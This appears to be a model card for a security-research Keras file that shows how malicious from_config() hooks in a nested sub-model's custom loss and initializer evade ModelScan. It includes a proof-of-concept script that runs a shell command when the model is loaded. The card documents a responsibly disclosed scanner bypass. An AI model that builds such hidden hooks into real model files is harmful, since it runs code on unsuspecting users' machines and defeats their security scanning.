--- library_name: keras tags: - security-research - modelscan-bypass - nested-model - rce - compile-config - initializer --- # ModelScan Nested Model Bypass — All Deserialization Layers Invisible ## What This Is ModelScan only scans the TOP-LEVEL model's layers for `class_name == "Lambda"`. When a model contains another model as a layer (Sequential/Functional sub-model), the ENTIRE internal structure — including compile_config, initializers, regularizers, constraints — is **completely invisible**. This .keras file: - Outer model wraps a Sequential sub-model as a layer - Sequential has custom loss (`NestedLoss>BadLoss`) with malicious `from_config()` - Sequential has a layer with custom initializer (`NestedInit>BadInit`) with malicious `from_config()` - ModelScan: **0 Issues, 0 Errors, 0 Skipped** ## Verify ```bash python3 -c " import tensorflow as tf, keras, os @keras.saving.register_keras_serializable(package='NestedLoss') class BadLoss(tf.keras.losses.MeanSquaredError): @classmethod def from_config(cls, config): import os; os.system('id > /tmp/NL') return super().from_config(config) @keras.saving.register_keras_serializable(package='NestedInit') class BadInit(tf.keras.initializers.GlorotUniform): @classmethod def from_config(cls, config): import os; os.system('id > /tmp/NI') return super().from_config(config) model = tf.keras.models.load_model('model.keras', safe_mode=False) print('Loss RCE:', os.path.exists('/tmp/NL')) print('Init RCE:', os.path.exists('/tmp/NI')) " ``` ## Why This Matters Nested models place their compile_config at `layer.compile_config` (not `model.compile_config`). Even if ModelScan fixes the top-level scan, nested sub-models provide an end-run. ## Disclosure Submitted to ProtectAI via huntr.dev.